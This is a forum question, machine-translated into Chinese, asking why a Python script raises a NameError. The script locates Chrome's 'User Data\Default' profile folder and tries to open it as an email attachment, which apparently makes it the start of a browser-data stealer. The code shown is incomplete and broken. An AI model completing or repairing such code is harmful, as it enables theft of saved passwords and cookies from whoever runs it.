我最近嘗試以代碼的程序給我發送電子郵件與特定的文件,但我不斷收到此錯誤:無法能夠使用變量(蟒蛇)
"Traceback (most recent call last):
File "C:\Users\DedHex\Desktop\j.py", line 29, in <module>
attachment = open(PathName, "rb")
NameError: name 'PathName' is not defined"
但路徑名......所以我真的需要這方面的幫助,因爲它花了一段代碼。
我的代碼:
filename = "bob"
def getpath():
if os.name == "nt":
# This is the Windows Path
PathName = os.getenv('localappdata') + \
'\\Google\\Chrome\\User Data\\Default\\'
if (os.path.isdir(PathName) == False):
print('[!] Chrome Doesn\'t exists')
attachment = open(PathName, "rb")